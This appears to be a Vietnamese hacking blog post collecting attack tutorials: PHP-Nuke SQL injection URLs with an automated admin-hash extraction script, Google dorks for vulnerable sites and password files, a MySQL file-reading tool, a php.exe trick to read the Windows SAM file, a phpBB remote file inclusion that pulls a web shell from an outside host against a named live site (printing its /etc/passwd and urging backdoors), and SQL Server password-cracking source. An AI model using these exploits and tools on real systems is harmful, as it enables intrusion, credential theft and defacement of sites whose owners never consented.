Thứ Năm, 17 tháng 2, 2011

Lấy password của Admin user trên PHPnuke 6.0 & 5.6


Product:PHP nuke
Version:6.0 & 5.6
Problem:PHPNuke SQL Injection
http://k.domaindlx.com/clairsang/cgishield.com/default.htm
Ai cũng có thể lấy được password của Admin user trên PHPnuke 6.0 & 5.6
windows+linux method #1
PHPnuke là web portal có open-source đã được sữ dụng rộng rải,có một lổi được tìm thấy đó là điiêù khiiển từ xa qua SQL injection , với cái này nó cho phép lấy cắp password của administrator's password .Với mọt đống lộn xôn của pass, Attacker phải login và có thể vào được CP của admin cho viêc điều khiển hệ thống.
Lỗi này tồn tại trong search enginebao gồm với PHPnuke (/modules/search/). Ở trong file này, CSDL được gọi để làm trích ngoài khoảng trống xung quanh user cung cấp biến. Từ khi database gọi việc chọn thông tin của user từ table,Hacker có thể sữ dụng 'select fish' để tấn công. Nội dung của việc tấn công là hacker xác định giá trị của ký tự đơn ở trong bất kỳ column trong table được chỉ định trong câu lệnh.. Hầu hết các column này là quan trọng để hacker lấy đựoc password của admin nhưng được mã hoá chủ yếu là MD5.
Chỉ có 16 giá trị cho mổi ký tự và tổng cộng 32 ký tự . chọn " fishing" bao gồm việc sữ dụng hàm của MySQL là "mid()" kết quả trã về là true nếu ký tự đoán là đúng, bằng cách này ta có thể set results trên màn hình. Nếu kết quả xuất hiện trên màn hình, Attacker có thể xác định các ký tự đúng,và rồi tiếp tục tiến hành việc đoán ký tự tiếp thoe trong tiến trình.Bất kỳ md5 password cũng có ít nhất 512 (32*16) lần đoán.Khi bạn đoán bằng tay,mất chừng khoảng 20-30 minutes, nhưng khi nó là tự đông bằng chương trình thì mất khoảng vài phút .Chương trình ở cuối tài liệu này.Đây là url đầu tiên mà các hacker khai thác:
http://k.domaindlx.com/clairsang/site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1)
=6&type=stories
Khi phpnuke queries the mysql database, nó có dạng sau:
"select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,
s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a
where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR
s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS
(time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10"
Nó kiểm tra admin table để xem nếu ký tự đầu tiên trong trương pwd(password) column có giá trị là 6'.Nếu bất kỳ admin password bắt dầu với giá trị '6', câu chuyện này đươc viết bởi admin sẽ xuất hiện trên màn hình
Nếu admin password không bắt đầu là '6' thì không có chuyện gì ở đây.màn hình sẽ không xuất hiện gì.
example admin's hash: 6a204bd89f3c8348afd5c77c717a097a
Urls gọi như sau:
(*note* in version 6.0 a check for '()' in any GET variable was added on
line 36 of mainfile.php , therefore the following data strings will only
work via POST in version 6.0 or later. The exploit included at the end of
this file works via POST.)
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=1&type=stories NO
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=2&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=3&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=4&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=5&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=6&type=stories Yes
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=7&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=8&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=9&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=0&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(97)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(98)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(99)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(100)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(101)&type=stories No
http://k.domaindlx.com/clairsang/site/modules.php@name=search&query=&topic=&category=&author=&days=1+or+mid
(a.pwd,1,1)=char(102)&type=stories No

Ký tự tiếp theo url có dạng
http://k.domaindlx.com/clairsang/site/modules.php?
name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1)
=1&type=stories
Đây là đoạn mã đoán tự động
<?php
########## PHPnuke Auto-SelectFish Attacker
########## David_at_cgishield.com
##########Làm việc trên phpnuke 5.6 and 6.0
//Để sữ dụng chương trình này bạn phải save code này và up trên server của bạn hổ trợ PHP
//Nếu PHP time out trước khi trứơc khi tất cã password hash xác định,
// Điều chỉnh maximum script execution time in php.ini
// Thay thế cho các biến sau cho đúng
$server="www.phpnuke.org";
$script="/modules.php";
$data_to_match="Revolution";
$admin_account_name="nukelite";
$beginchar="1";
$endchar="33";
$admin_account_name=urlencode($admin_account_name);
$data_to_match=urlencode($data_to_match);
$checkchar[0]="char(48)";
$checkchar[1]="char(49)";
$checkchar[2]="char(50)";
$checkchar[3]="char(51)";
$checkchar[4]="char(52)";
$checkchar[5]="char(53)";
$checkchar[6]="char(54)";
$checkchar[7]="char(55)";
$checkchar[8]="char(56)";
$checkchar[9]="char(57)";
$checkchar[a]="char(97)";
$checkchar[b]="char(98)";
$checkchar[c]="char(99)";
$checkchar[d]="char(100)";
$checkchar[e]="char(101)";
$checkchar[f]="char(102)";
for($i=$beginchar;$i<$endchar;$i++){
reset($checkchar);
while (list($i2, $i2val) = @each($checkchar)){
$vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco
unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories";
$data=sendToHost("$server",'post',"$script","$vars");
if (eregi("No matches found to your query","$data")){
}
else{
echo("<br>$i= $i2"); flush();break;}
}
}

function sendToHost($host,$method,$path,$data,$useragent=1)
{
$method = strtoupper($method);
$fp = fsockopen($host,80);
fputs($fp, "$method $path HTTP/1.1\n");
fputs($fp, "Host: $host\n");
fputs($fp, "Content-type: application/x-www-form-urlencoded\n");
fputs($fp, "Content-length: " . strlen($data) . "\n");
if ($useragent)
fputs($fp, "User-Agent: Mozilla\n");
fputs($fp, "Connection: close\n\n");
if ($method == 'POST')
fputs($fp, $data);
while (!feof($fp))
$buf .= fgets($fp,128);
fclose($fp);
for($slow=0;$slow<100;$slow++){}
return $buf;
}

?>

Tìm website bị lỗi


Tôi sẽ hướng dẫn các bạn cách tìm các Website bị lỗi, đa số cách thông dụng nhất là vào các trang Search như http://k.domaindlx.com/clairsang/www.google.com/default.htm, http://k.domaindlx.com/clairsang/www.av.com/default.htm ... rồi đánh "powered by ...." (ví dụ : nếu tìm trang Forum UBB 1.0.3 thì đánh "powered by UBB 1.0.3"). Nhưng như thế thường không hiệu quả và nó cho ra rất nhiều trang chẳng liên quan gì đến trang mình cần tìm. Bây giờ tôi chỉ cho các bạn tìm kiếm trang bị lỗi trên http://k.domaindlx.com/clairsang/www.google.com/default.htm.
Bình thường một chương trình trên mạng đều có một đoạn string đặc biệt trong URL, ví dụ với lỗi Hosting Controller thì sẽ có đoạn "/admin hay /advadmin hay /hosting" hay với forum UBB thì có "cgi-bin/ultimatebb.cgi?", khi chỉ đánh vậy không nó sẽ liệt kê ra cả trang nói về Hosting Controller lẫn trang đang sử dụng Hosting Controller, như thế kết quả ra nhiều nhưng không hiệu quả. Bây giờ các bạn thêm chữ allinurl: trước đoạn string đặc biệt cần kiếm, thì những tran Web tìm kiếm được chắc chắn sẽ có chuỗi cần tìm.
dụ : Khi tôi kiếm server dùng Hosting Controller, tôi vào http://k.domaindlx.com/clairsang/www.google.com/default.htm và đánh "allinurl:/advadmin" (không có ngoặc kép) thì nó chỉ liệt kê ra những trang có URL có dạng : http://k.domaindlx.com/clairsang/tentrangweb.com/advadmin.

Nhân tiện tôi cũng chỉ các bạn cách tìm các file trên
http://k.domaindlx.com/clairsang/www.google.com/default.htm
Muốn tìm các file trên
http://k.domaindlx.com/clairsang/www.google.com/default.htm thì bạn thêm chữ type file: trước tên file cần tìm trên các chuyên khu web. Ví dụ : bạn muốn tìm file mdb (đây là file chứa Password của các Website, dùng Access để mở) thì bạn vào http://k.domaindlx.com/clairsang/www.google.com/default.htm và đánh type file:mdb
bạn muốn tìm file SAM (đây là file chứa Password của Windows NT, dùng L0phtCrack để Crack) thì bạn vào
http://k.domaindlx.com/clairsang/www.google.com/default.htm và đánh type file:SAM       

MySQL Read file :


Với một database trên một server, bạn có khả năng read mọi file (dĩ nhiên là set permission cho phép đọc)
 với tool này :

<head>
<title>
COPYRIGHT BY WINDAK
</title>
</head>

<body bgcolor="#008080">
<p align="center">
<i><b>Copyright by Windak</b></i></p>
 <!-- T?o table ?? query -->
 <form action=<? echo $HTTP_SERVER_VARS['PHP_SELF'] ?> method=post>
<table align="center" border=3 cellpadding="3" cellspacing="2" bordercolor="#ffffff" width="420" height="321"> <tr> <td bgcolor="#00FFFF" width="72" height="22">
<b>Server</b> </td>
<td width="329" height="22">
<input name=server value="<? echo $server ?>" size=30 style="HEIGHT: 22px; WIDTH: 321px">
</td></tr> <tr> <td bgcolor="#00FFFF" width="72" height="22"><b>Username</b> </td>
<td width="329" height="22">
<input name=username value="<? echo $username ?>" size=30 style="HEIGHT: 22px; WIDTH: 321px">
</td></tr>
<tr> <td bgcolor="#00FFFF" width="72" height="22">
<b>Password</b> </td>
<td width="329" height="22">
<input name=password value="<? echo $password ?>" size=30 style="HEIGHT: 22px; WIDTH: 321px">
</td></tr>
<tr> <td bgcolor="#00FFFF" width="72" height="22">
<b>Database</b> </td>
<td width="329" height="22">
<input name=database value="<? echo $database ?>" size=30 style="HEIGHT: 22px; WIDTH: 321px">
</td></tr>
<tr> <td bgcolor="#00FFFF" width="72" height="22">
<b>Read File</b></td>
<td width="329" height="22">
<input name=file value="<? echo $file ?>" size=30 style="HEIGHT: 22px; WIDTH: 321px">
</td></tr>
<tr> <td bgcolor="#00FFFF" width="401" colspan="2" height="26">
<p align="center">
<input type="submit" name=read value="Okie Read">
</td> </tr> </table></form>
<!-- T?o command -->
<? //Khoi tao $self=$HTTP_SERVER_VARS['PHP_SELF']; $foo="exploit";
 if (isset($HTTP_POST_VARS['read']))
{ //Thiet lap Query $conn = mysql_connect("$server","$username","$password");
mysql_select_db($database);
if (!conn) { echo mysql_error();
 exit;
} if (isset($HTTP_POST_VARS['read']))
{ if (!mysql_query("create table $foo( $foo LONGBLOB NOT NULL) "))
{ echo mysql_error();
 mysql_query("DROP TABLE $foo"); exit;
} if (!mysql_query("LOAD DATA LOCAL INFILE '$file' INTO TABLE $foo FIELDS TERMINATED BY '__THIS_NEVER_HAPPENS__' ESCAPED BY '' LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'"))
 { echo mysql_error(); mysql_query("DROP TABLE $foo");
exit; }
 $query = "Select * from $foo"; }
 //Chay $res=mysql_query($query);
if (!$res){ echo mysql_error();
} echo "
<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" \"border-collapse: collapse\" bordercolor=\"#111111\" width=\"100%\" id=\"AutoNumber1\">" ;
echo "<tr>"; $ncols = mysql_num_fields($res);
while($i<$ncols)
{ $meta = mysql_fetch_field ($res);
echo "<td> <b>". $meta->name ."
</b> </td>" ; $i++;
} echo "</tr>"; while($data=mysql_fetch_array($res))
{ echo("<tr>"); for($i=0; $i<$ncols; $i++)
{ echo "<td> ". $data[$i] ." </td>";
} echo("</tr>");
} mysql_query("DELETE FROM $foo");
mysql_query("DROP TABLE $foo");
mysql_free_result($res);
} ?>
</table></body> </html>
      

Hướng dẫn Hack lỗi PHP :


Tôi viết bài này để anh em học hỏi kinh nghiệm, chứ không phải đi phá phách người ta làm gì cả, lỗi này hiện giờ còn khá nhiều trang Web dùng (đặc biệt là trang con lon), nhưng để tránh những kẻ thiếu hiểu biết, coi sẵn rồi đi làm theo y chang, phá phách lung tung thì không hay, vì thế tôi chỉ post lên 1/2 chặng đường, phần còn lại thì các bác tự nghiên cứu, Hack được hay không còn phải tùy thuộc vào kiến thức của các bạn nữa.
Cách Hack này dùng để xem 1 file bất kỳ trên trang chủ.
Đầu tiên để xem trang Web đó có cái PHP hay không, các bạn đánh thử :
www.tentrangweb.com/php/
Chú ý php/ chứ không phải là php không, nếu nó trả lời forbidden thì đây chính là trang web dùng PHP, chúng ta qua bước 2
Đánh www.tentrangweb.com/php/php.exe?c:\tenfile.duoi
để xem password của server, ta đánh
www.tentrangweb.com/php/php?c:\winnt\repair\sam
Đây chính là file lưu giữ password của Server, nhưng khi xem nội dung nó chỉ ra mã mà thôi. Sau đó các bạn vào google.com đánh sam Decode, nó sẽ hiện ra chương trình giải mã file sam, và thế là chúng ta đã có password của server.
Tôi chỉ chỉ đến đây thôi, phần tiếp theo (như deface trang web như thế nào, cài trojan như thế nào) chính là phần việc của các bạn.

Sử dụng REM VIEW để xem file trên Server


Lỗi sử dụng ở đây là lỗi trong file install.php của forum phpBB 2.0.1 và 2.0.2, các forum dạng này và dính lỗi này rát khổ biến trên NET và Luke đã không khó để có thể chọn random một site làm ví dụ http://www.cyberantics.net/forum/
Bước 1:
Kiểm tra xem site đó còn file install.php hay không
http://www.cyberantics.net/forum/install.php và may mắn câu trả lời là có.
Chúng ta cần chú ý về mã nguồn PHP của nó một chút.
Quote


Và đồng thời tôi nhập URL sau http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http://www21.brinkster.com/hainamluke/ kết quả nhận được  là
Quote


*Index of   /var/www/html/forum/ REMVIEW TOOLS  

>>   [dir commands]  
type name size owner:group perms mtime
DIR admin   hackman hackman drwxr-xr-x  20/05/02 08:28:36
DIR contrib   hackman hackman drwxr-xr-x  20/05/02 08:28:37
DIR db   hackman hackman drwxr-xr-x  20/05/02 08:28:38
DIR docs   hackman hackman drwxr-xr-x  20/05/02 08:28:42
DIR images   hackman hackman drwxr-xr-x  20/05/02 08:28:45
DIR includes   hackman hackman drwxr-xr-x  20/05/02 08:28:47
DIR language   hackman hackman drwxr-xr-x  20/05/02 08:28:47
DIR templates   hackman hackman drwxr-xr-x  20/05/02 08:28:51
??/a> ??/a> common.php 5 316 hackman hackman -rw-r--r--  20/05/02 08:28:36
??/a> ??/a> config.php 271 hackman hackman -rw-r--r--  23/05/02 19:17:13
??/a> ??/a> extension.inc 810 hackman hackman -rw-r--r--  20/05/02 08:28:42
??/a> ??/a> faq.php 3 596 hackman hackman -rw-r--r--  20/05/02 08:28:42
??/a> ??/a> groupcp.php 45 881 hackman hackman -rw-r--r--  20/05/02 08:28:42
??/a> ??/a> index.php 14 298 hackman hackman -rw-r--r--  20/05/02 08:28:47
??/a> ??/a> install.php 33 617 hackman hackman -rw-r--r--  20/05/02 08:28:47
??/a> ??/a> login.php 6 996 hackman hackman -rw-r--r--  20/05/02 08:28:50
??/a> ??/a> memberlist.php 12 112 hackman hackman -rw-r--r--  20/05/02 08:28:50
??/a> ??/a> modcp.php 33 764 hackman hackman -rw-r--r--  20/05/02 08:28:50
??/a> ??/a> posting.php 34 073 hackman hackman -rw-r--r--  20/05/02 08:28:50
??/a> ??/a> privmsg.php 68 622 hackman hackman -rw-r--r--  20/05/02 08:28:51
??/a> ??/a> profile.php 3 834 hackman hackman -rw-r--r--  20/05/02 08:28:51
??/a> ??/a> search.php 40 471 hackman hackman -rw-r--r--  20/05/02 08:28:51
??/a> ??/a> update_to_201.php 24 899 hackman hackman -rw-r--r--  20/05/02 08:29:08
??/a> ??/a> upgrade.php 57 040 hackman hackman -rw-r--r--  20/05/02 08:29:08
??/a> ??/a> viewforum.php 23 181 hackman hackman -rw-r--r--  20/05/02 08:29:09
??/a> ??/a> viewonline.php 7 231 hackman hackman -rw-r--r--  20/05/02 08:29:09
??/a> ??/a> viewtopic.php 45 435 hackman hackman -rw-r--r--  20/05/02 08:29:09

phpRemoteView, version 2002-08-05. Free download - php.spb.ru/remview



Nói vậy chắc các bạn cũng đã hiểu qua về lỗi này.

Nếu các bạn thay mã nguồn của file remview kia bằng một file dạng DBManager thì bạn có thể access tới toàn bộ DB của victim và lên Admin dễ dàng.
Bây giờ tôi xin nói chi tiết hơn về cách sử dụng remview dạng này.
Nếu bạn muốn sử dụng remview như là đang có một file thật trên server của victim thì bạn phải edit đoạn mã sau trong file
http://www21.brinkster/hainamluke/includes/functions_selects.php

########## FIND ###########
  $self=$HTTP_SERVER_VARS['PHP_SELF'];
#########################
######### REPLACE #########
  $self= "http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http://www21.brinkster.com/hainamluke/&";
#########################
Vậy là tạm ổn tuy nhiên cách sửa này chỉ áp dụng được với 50% công dụng của nó. Cụ thể là ko dùng được remview tools như shell command, upload, edit ..

Khi bạn nhập URL sau http://www.cyberantics.net/forum/install.php?phpbb_root_dir=http://www21.brinkster.com/hainamluke/&c=l&d=%2Fetc bạn sẽ có kết quả như MSVN làm với VDC UNIX server .
Đối với các server khác các bạn nên dùng remview access sang các User, tìm điểm yếu nhất của nó (chmod 666 trở lên) và đặt một vài con Backdoor khác
Đây là một vài thông tin về server
::::::::::::::
/etc/passwd
::::::::::::::
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/nologin
nscd:x:28:28:NSCD Daemon:/:/bin/false
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
ntp:x:38:38::/etc/ntp:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/bin/bash
gdm:x:42:42::/var/gdm:/sbin/nologin
apache:x:48:48:Apache:/var/www:/bin/false
rpc:x:32:32:Portmapper RPC user:/:/bin/false
named:x:25:25:Named:/var/named:/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
ident:x:98:98:pident user:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/bin/nologin
squid:x:23:23::/var/spool/squid:/dev/null
mailnull:x:47:47::/var/spool/mqueue:/dev/null
ldap:x:55:55:LDAP User:/var/lib/ldap:/bin/false
hackman:x:500:500:Ramon Yvarra:/home/hackman:/bin/bash
ahleron:x:501:501:Jason Rogers:/home/ahleron:/bin/bash

--------------------------------------------------------------------------------
Server mới có 2 user là hackman và ahleron . Các bạn thử làm thịt thằng còn lại xem
        

Giải mã password của SQL Server


Cách thức lưu trữ password của SQl Server:
SQL server sử dụng một hàm undocumented ( tạm gọi là hàm không cơ sở ) , pwdencrypt() để mã hoá mã số của người dùng , chúng được lưu trữ trong bảng sysxlogin của cơ sở dữ liệu chính (master database) . Đây có lẽ là điều mà nhiều người biết . Điều không được công bố là những yếu tố của hàm pwdencrypy() . Bài viết sau sẽ thảo luận về hàm này cũng như những điểm yếu trong cách mã hoá mã số của SQL Server .
Một mã số khi đã mã hoá trông ra sao:
Sử dụng phương pháp phân tích truy vấn ( Query Analyzer) , hoặc công cụ SQL mà bạn chọn , thực thi đoạn truy vấn lựa chọn mã số từ master.dbo.sysxlogins tại name=”sa” . Bạn sẽ nhận được đoạn trả về tương tự như đoạn sau:
0x01008D504D65431D6F8AA7AED333590D7DB1863CBFC98186BFAE06EB6B327EFA5449E6
F649BA954AFF4057056D9B
Đó là mã hoá của mã số của tài khoản truy nhập “sa” trong máy của tôi.
Chúng ta có thể nhận được gì từ pwdencrypt() về cách mã hoá?
Thời gian
Truy vần lựa chọn pwdencrypt(“foo”) tạo ra
0x0100544115053E881CA272490C324ECE22BF17DAF2AB96B1DC9A7EAB644BD218
969D09FFB97F5035CF7142521576
nhưng chỉ vài giây sau vẫn với truy vấn pwdencrypt ta lại nhận được
0x0100D741861463DFFF7B5282BF4E5925057249C61A696ACB92F532819DC22ED6B
E374591FAAF6C38A2EADAA57FDF
Hai đoạn mã hoá trên khác nhau nhưng đầu vào foo thì lại giống nhau .Từ đây ta có thể suy luận ra rằng thời gian đóng một vai trò quan trọng trong việc tạo ra và lưu trữ password . Điều này dẫn tới hai người sử dụng khác nhau sẽ có mã hoá khác nhau cho dù họ cùng dùng 1 mã số .
Trường hợp
Chạy đoạn truy vần pwdencrypt(“AAAAAA”) sẽ trả về
0x01008444930543174C59CC918D34B6A12C9CC9EF99C4769F819B43174C59CC918
D34B6A12C9CC9EF99C4769F819B
Ta thấy rằng có lẽ có 2 password được tạo ra ở đây. Hãy để tôi chia nó ra
0x0100
84449305
43174C59CC918D34B6A12C9CC9EF99C4769F819B
43174C59CC918D34B6A12C9CC9EF99C4769F819B
Bạn có thể nhận ra 40 kí tự cuối cùng giông như 40 kí tự áp chót . Như vậy có lẽ password đã được lưu trữ 2 lần? 1 trong chúng là password theo kiểu bình thường , cái còn lại là kiểu viết hoa của password.
Clear Salt
Từ những gì chúng ta biết , sự thay đổi thời gian dẫn tới thay đổi password mã hoá , pass mã hoá này phải sẵn sàng trước khi user đăng nhập vào hệ thống và phải có sự đối chiếu giữa pass mã hoá và pass của họ trong cơ sở dữ liệu .Trong kết quả trên 8449305 là đầu ra của pass qua hàm pwdencrypt() . Kết quả nhận được thông qua trình tự sau : Hàm time() của C được gọi và là khởi đầu cho hàm srand(). Srand() cung cấp đầu vào cho hàm rand() tạo ra một số nguyên ngẫu nhiên . SQl chuyển số này thành kiều short , ta gọi số này là SN1. Hàm rand() một lần nữa được thực thi và tạo nên 1 số ngẫu nhiên khác , ta gọi là SN2. SN1 và SN2 được kết hợp để tạo ra 1 số nguyên , SN1 trở thành phần chính và SN2 là phần phụ , SN1 và SN2 tạo thành salt . Salt trở thành password.
Mã hoá password
Mã số của người dùng được chuyển thành UNICODE nếu như chưa phải là kiểu này . Salt sau đó được nối thêm vào sau cùng .Tổ hợp này được gửi tới hàm mã hoá trong advapi32.dll để tạo ra mã hoá sử dụng thuật toán mã hoá hoặc SHA.Sau đó password được chuyển sang dạng upper-case( chữ hoa) , salt được gắn vào cuối và một SHA khác được tạo ra .
0x0100 Phần đầu cố định
84449305 Salt từ 2 hàm rand()
43174C59CC918D34B6A12C9CC9EF99C4769F819B Mã hoá SHA chữ thường
43174C59CC918D34B6A12C9CC9EF99C4769F819B Mã hoá SHA chữ hoa
Quá trình xác thực
Khi một người dùng xác nhập vào SQL Server các quá trình sau diễn ra . Đầu tiên SQl Sever xác thực password của người này trong cơ sở dữ liệu và xuất “salt” như 84449305 trong ví dụ nêu trên.Salt này được gắn vào sau password của người dùng tạo ra SHA. Tổ hợp này được so sánh với tổ hợp trong cơ sở dữ liệu và nếu giống thì OK .
Sự kiểm tra password của SQL Server
Quá trình này được thực thi gần giống như quá trình xác thực.
Tuy nhiên đầu tiên phải tạo ra tổ hợp từ tổ hợp chữ hoa .
Mã nguồn cho một công cụ tấn công đơn giản theo kiểu từ điển /////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// Chương trình tấn công theo kiểu từ điển
// tổ hợp pass chữ hoa . Một khi
// đã tìm ra thì thử mọi trường
// hợp chữ thường có thể
//
// Đoạn mã viết bởi David Litchfield to
// để tấn công password của Microsoft SQL Server 2000
// Nó có thể được thực thi mà không sử dụng CryptoAPI.
//
// (Biên dịch với VC++ và liên kết với thư viện advapi32.lib
// Chắc chắn rằng Platform SDK cũng đã được cài đặt!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield (david@ngssoftware.com)\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// Chúng ta tìm ra mã số
printf("\nA MATCH!!! Mã số là %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
bạn có thể thử chương trình crack password dạng giao diện đồ hoạ của NGSSoftware tại
http://www.nextgenss.com/products/ngssqlcrack.html.
      

View code


